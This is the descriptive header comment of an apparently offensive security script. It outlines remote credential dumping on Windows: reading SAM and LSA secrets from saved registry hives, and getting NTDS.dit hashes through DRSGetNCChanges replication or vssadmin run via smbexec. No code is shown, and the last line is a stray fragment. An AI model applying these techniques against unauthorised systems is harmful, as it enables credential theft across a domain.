# Description:
#   Performs various techniques to dump hashes from the
#   remote machine without executing any agent there.
#   For SAM and LSA Secrets (including cached creds)
#   we try to read as much as we can from the registry
#   and then we save the hives in the target system
#   (%SYSTEMROOT%\\Temp dir) and read the rest of the
#   data from there.
#   For NTDS.dit we either:
#       a. Get the domain users list and get its hashes
#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
#          call, replicating just the attributes we need.
#       b. Extract NTDS.dit via vssadmin executed  with the
#          smbexec approach.
#          It's copied on the temp dir and parsed remotely.
#
#   The script initiates the services required for its working
#   if they are not available (e.g. Remote Registry, even if it is
#   disabled). After the work is done, things are restored to the
#   original state.

#   the pieces together, plus some extra magic.
